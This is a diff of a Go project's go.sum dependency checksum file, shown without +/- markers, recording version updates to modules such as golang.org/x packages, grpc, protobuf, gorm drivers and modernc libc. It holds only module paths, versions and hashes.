github.com/spf13/cobra v1.7.0 h1:hyqWnYt1ZQShIddO5kBpj3vu05/++x6tJ6dg8EC572I=
|
||||
github.com/spf13/cobra v1.7.0/go.mod h1:uLxZILRyS/50WlhOIKD7W6V5bgeIt+4sICxh6uRMrb0=
|
||||
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
|
||||
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
@@ -268,16 +267,17 @@ github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs=
|
||||
github.com/things-go/go-socks5 v0.0.3 h1:QtlIhkwDuLNCwW3wnt2uTjn1mQzpyjnwct2xdPuqroI=
|
||||
github.com/things-go/go-socks5 v0.0.3/go.mod h1:f8Zx+n8kfzyT90hXM767cP6sysAud93+t9rV90IgMcg=
|
||||
github.com/xlab/treeprint v1.1.0 h1:G/1DjNkPpfZCFt9CSh6b5/nY4VimlbHF3Rh4obvtzDk=
|
||||
github.com/xlab/treeprint v1.1.0/go.mod h1:gj5Gd3gPdKtR1ikdDK6fnFLdmIS0X30kTTuNd/WEJu0=
|
||||
github.com/xlab/treeprint v1.2.0 h1:HzHnuAF1plUN2zGlAFHbSQP2qJ0ZAD3XF5XD7OesXRQ=
|
||||
github.com/xlab/treeprint v1.2.0/go.mod h1:gj5Gd3gPdKtR1ikdDK6fnFLdmIS0X30kTTuNd/WEJu0=
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e h1:6SWomM8ezwUwnN3lqKxE4r7bYVwpY9514DQkwBV9IPI=
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e/go.mod h1:r1bHcNa22x8rrg/Kj/cDF5bX6UtZrHiQgRFvj3Mnpl8=
|
||||
github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
|
||||
go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=
|
||||
go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0=
|
||||
go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q=
|
||||
go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc=
|
||||
go.uber.org/goleak v1.1.10/go.mod h1:8a7PlsEVH3e/a/GLqe5IIrQx6GzcnRmZEufDUTk4A7A=
|
||||
go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU=
|
||||
go.uber.org/zap v1.18.1/go.mod h1:xg/QME4nWcxGxrpdeYfq7UvYrLh66cuVKdrbD1XF/NI=
|
||||
golang.org/x/crypto v0.0.0-20190123085648-057139ce5d2b/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
|
||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||
golang.org/x/crypto v0.0.0-20190530122614-20be4c3c3ed5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
@@ -288,17 +288,19 @@ golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPh
|
||||
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20220208050332-20e1d8d225ab/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/crypto v0.6.0 h1:qfktjS5LUO+fFKeJXZ+ikTRijMmljikvG68fpMMruSc=
|
||||
golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58=
|
||||
golang.org/x/crypto v0.9.0 h1:LF6fAI+IutBocDJ2OT0Q1g8plpYljMZ4+lty+dsqw3g=
|
||||
golang.org/x/crypto v0.9.0/go.mod h1:yrmDGqONDYtNj3tH8X9dzUun2m2lzPa9ngI6/RUPGR0=
|
||||
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
||||
golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
|
||||
golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=
|
||||
golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
|
||||
golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
|
||||
golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
|
||||
golang.org/x/mod v0.7.0 h1:LapD9S96VoQRhi/GrNTqeBJFrUjs5UHCAtTlgwA5oZA=
|
||||
golang.org/x/mod v0.7.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
|
||||
golang.org/x/mod v0.8.0 h1:LUYupSeNrTNCGzR/hVBk2NHZO4hXcVaW1k4Qx7rjPx8=
|
||||
golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
|
||||
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
@@ -313,12 +315,11 @@ golang.org/x/net v0.0.0-20211111083644-e5c967477495/go.mod h1:9nx3DQGgdP8bBQD5qx
|
||||
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk=
|
||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
|
||||
golang.org/x/net v0.2.0/go.mod h1:KqCZLdyyvdV855qA2rE3GC2aiw5xGR5TEjj8smXukLY=
|
||||
golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
|
||||
golang.org/x/net v0.7.0 h1:rJrUqqhjsgNp7KqAIc25s9pZnjU7TUcSY7HcVZjdn1g=
|
||||
golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
|
||||
golang.org/x/net v0.10.0 h1:X2//UzNDwYmtCLn7To6G58Wr6f5ahEAQgKNzv9Y951M=
|
||||
golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=
|
||||
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
|
||||
golang.org/x/oauth2 v0.4.0 h1:NF0gk8LVPg1Ml7SSbGyySuoxdsXitj7TvgvuRxIMc/M=
|
||||
golang.org/x/oauth2 v0.6.0 h1:Lh8GPgSKBfWSwFvtuWOfeI3aAAnbXTSutYxJiOJFgIw=
|
||||
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
@@ -349,6 +350,7 @@ golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211025201205-69cdffdb9359/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211103235746-7861aae1554b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211110154304-99a53858aa08/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
@@ -356,27 +358,28 @@ golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBc
|
||||
golang.org/x/sys v0.0.0-20220207234003-57398862261d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220422013727-9388b58f7150/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220503163025-988cb79eb6c6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.2.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU=
|
||||
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.8.0 h1:EBmGv8NaZBZTWvrbjNoL6HVt+IVy3QDQpJs7VRIw3tU=
|
||||
golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210503060354-a79de5458b56/go.mod h1:tfny5GFUkzUvx4ps4ajbZsCe5lw1metzhBm9T3x7oIY=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
|
||||
golang.org/x/term v0.2.0/go.mod h1:TVmDHMZPmdnySmBfhjOoOdhjzdE1h4u1VwSiw2l1Nuc=
|
||||
golang.org/x/term v0.5.0 h1:n2a8QNdAb0sZNpU9R1ALUXBbY+w51fCQDN+7EdxNBsY=
|
||||
golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
|
||||
golang.org/x/term v0.8.0 h1:n5xxQn2i3PC0yLAbjTpNT85q/Kgzcr2gIoX9OrJUols=
|
||||
golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||
golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||
golang.org/x/text v0.7.0 h1:4BRB4x83lYWy72KwLD/qYDuTu7q9PjSagHvijDw7cLo=
|
||||
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||
golang.org/x/text v0.9.0 h1:2sjJmO8cDvYveuX97RDLsxlyUxLl+GHoLxBiRdHllBE=
|
||||
golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba h1:O8mE0/t419eoIwhTFpKVkHiTs/Igowgfkj25AcZrtiE=
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
@@ -384,12 +387,13 @@ golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGm
|
||||
golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
|
||||
golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
|
||||
golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
|
||||
golang.org/x/tools v0.0.0-20191108193012-7d206e10da11/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
|
||||
golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
|
||||
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
|
||||
golang.org/x/tools v0.3.0 h1:SrNbZl6ECOS1qFzgTdQfWXZM9XBkiA6tkFrH9YSTPHM=
|
||||
golang.org/x/tools v0.3.0/go.mod h1:/rWhSS2+zyEVwoJf8YAX6L2f0ntZ7Kn/mGgAWcipA5k=
|
||||
golang.org/x/tools v0.6.0 h1:BOw41kyTf3PuCW1pVQf8+Cyg8pMlkYB1oo9iJ6D/lKM=
|
||||
golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
|
||||
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
@@ -408,19 +412,19 @@ google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6
|
||||
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
|
||||
google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
|
||||
google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
|
||||
google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f h1:BWUVssLB0HVOSY78gIdvk1dTVYtT1y8SBWtPYuTJ/6w=
|
||||
google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM=
|
||||
google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4 h1:DdoeryqhaXp1LtT/emMP1BRJPHHKFi5akj/nbx/zNTA=
|
||||
google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4/go.mod h1:NWraEVixdDnqcqQ30jipen1STv2r/n24Wb7twVTGR4s=
|
||||
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
|
||||
google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
|
||||
google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=
|
||||
google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
|
||||
google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=
|
||||
google.golang.org/grpc v1.53.0 h1:LAv2ds7cmFV/XTS3XG1NneeENYrXGmorPxsBbptIjNc=
|
||||
google.golang.org/grpc v1.53.0/go.mod h1:OnIrk0ipVdj4N5d9IUoFUx72/VlD7+jUsHwZgwSMQpw=
|
||||
google.golang.org/grpc v1.55.0 h1:3Oj82/tFSCeUrRTg/5E/7d/W5A1tj6Ky1ABAuZuv5ag=
|
||||
google.golang.org/grpc v1.55.0/go.mod h1:iYEXKGkEBhg1PjZQvoYEVPTDkHo1/bjTnfwTeGONTY8=
|
||||
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
|
||||
google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
|
||||
google.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175w=
|
||||
google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
|
||||
google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng=
|
||||
google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.5/go.mod h1:iBNOmqKz/NUbZx3bA+4hAGLRC7fSK7tgtVDT4tB22XA=
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8 h1:5UtTowJZTz1j7NxVzDGKTz6Lm9IWm8DDF6b7a2wq9VY=
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8/go.mod h1:CaHjv79TCgAvXMSFJSVgonHXYWxnhzI3eoHtnX5UgUo=
|
||||
@@ -440,20 +444,20 @@ gopkg.in/jcmturner/gokrb5.v7 v7.5.0/go.mod h1:l8VISx+WGYp+Fp7KRbsiUuXTTOnxIc3Tuv
|
||||
gopkg.in/jcmturner/rpc.v1 v1.1.0 h1:QHIUxTX1ISuAv9dD2wJ9HWQVuWDX/Zc0PfeC2tjc4rU=
|
||||
gopkg.in/jcmturner/rpc.v1 v1.1.0/go.mod h1:YIdkC4XfD6GXbzje11McwsDuOlZQSb9W4vfLvuNnlv8=
|
||||
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gorm.io/driver/mysql v1.4.7 h1:rY46lkCspzGHn7+IYsNpSfEv9tA+SU4SkkB+GFX125Y=
|
||||
gorm.io/driver/mysql v1.4.7/go.mod h1:SxzItlnT1cb6e1e4ZRpgJN2VYtcqJgqnHxWr4wsP8oc=
|
||||
gorm.io/driver/postgres v1.4.8 h1:NDWizaclb7Q2aupT0jkwK8jx1HVCNzt+PQ8v/VnxviA=
|
||||
gorm.io/driver/postgres v1.4.8/go.mod h1:O9MruWGNLUBUWVYfWuBClpf3HeGjOoybY0SNmCs3wsw=
|
||||
gorm.io/driver/sqlite v1.4.4 h1:gIufGoR0dQzjkyqDyYSCvsYR6fba1Gw5YKDqKeChxFc=
|
||||
gorm.io/driver/sqlite v1.4.4/go.mod h1:0Aq3iPO+v9ZKbcdiz8gLWRw5VOPcBOPUQJFLq5e2ecI=
|
||||
gorm.io/gorm v1.23.8/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk=
|
||||
gorm.io/gorm v1.24.0/go.mod h1:DVrVomtaYTbqs7gB/x2uVvqnXzv0nqjB396B8cG4dBA=
|
||||
gorm.io/gorm v1.24.2/go.mod h1:DVrVomtaYTbqs7gB/x2uVvqnXzv0nqjB396B8cG4dBA=
|
||||
gorm.io/gorm v1.24.5 h1:g6OPREKqqlWq4kh/3MCQbZKImeB9e6Xgc4zD+JgNZGE=
|
||||
gorm.io/gorm v1.24.5/go.mod h1:DVrVomtaYTbqs7gB/x2uVvqnXzv0nqjB396B8cG4dBA=
|
||||
gorm.io/driver/mysql v1.5.0 h1:6hSAT5QcyIaty0jfnff0z0CLDjyRgZ8mlMHLqSt7uXM=
|
||||
gorm.io/driver/mysql v1.5.0/go.mod h1:FFla/fJuCvyTi7rJQd27qlNX2v3L6deTR1GgTjSOLPo=
|
||||
gorm.io/driver/postgres v1.5.0 h1:u2FXTy14l45qc3UeCJ7QaAXZmZfDDv0YrthvmRq1l0U=
|
||||
gorm.io/driver/postgres v1.5.0/go.mod h1:FUZXzO+5Uqg5zzwzv4KK49R8lvGIyscBOqYrtI1Ce9A=
|
||||
gorm.io/driver/sqlite v1.5.0 h1:zKYbzRCpBrT1bNijRnxLDJWPjVfImGEn0lSnUY5gZ+c=
|
||||
gorm.io/driver/sqlite v1.5.0/go.mod h1:kDMDfntV9u/vuMmz8APHtHF0b4nyBB7sfCieC6G8k8I=
|
||||
gorm.io/gorm v1.24.7-0.20230306060331-85eaf9eeda11/go.mod h1:L4uxeKpfBml98NYqVqwAdmV1a2nBtAec/cf3fpucW/k=
|
||||
gorm.io/gorm v1.25.0 h1:+KtYtb2roDz14EQe4bla8CbQlmb9dN3VejSai3lprfU=
|
||||
gorm.io/gorm v1.25.0/go.mod h1:L4uxeKpfBml98NYqVqwAdmV1a2nBtAec/cf3fpucW/k=
|
||||
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5 h1:cv/zaNV0nr1mJzaeo4S5mHIm5va1W0/9J3/5prlsuRM=
|
||||
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5/go.mod h1:TIvkJD0sxe8pIob3p6T8IzxXunlp6yfgktvTNp+DGNM=
|
||||
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
@@ -466,19 +470,19 @@ modernc.org/ccgo/v3 v3.16.13 h1:Mkgdzl46i5F/CNR/Kj80Ri59hC8TKAhZrYSaqvkwzUw=
|
||||
modernc.org/ccgo/v3 v3.16.13/go.mod h1:2Quk+5YgpImhPjv2Qsob1DnZ/4som1lJTodubIcoUkY=
|
||||
modernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk=
|
||||
modernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM=
|
||||
modernc.org/libc v1.22.3 h1:D/g6O5ftAfavceqlLOFwaZuA5KYafKwmr30A6iSqoyY=
|
||||
modernc.org/libc v1.22.3/go.mod h1:MQrloYP209xa2zHome2a8HLiLm6k0UT8CoHpV74tOFw=
|
||||
modernc.org/libc v1.22.5 h1:91BNch/e5B0uPbJFgqbxXuOnxBQjlS//icfQEGmvyjE=
|
||||
modernc.org/libc v1.22.5/go.mod h1:jj+Z7dTNX8fBScMVNRAYZ/jF91K8fdT2hYMThc3YjBY=
|
||||
modernc.org/mathutil v1.5.0 h1:rV0Ko/6SfM+8G+yKiyI830l3Wuz1zRutdslNoQ0kfiQ=
|
||||
modernc.org/mathutil v1.5.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
|
||||
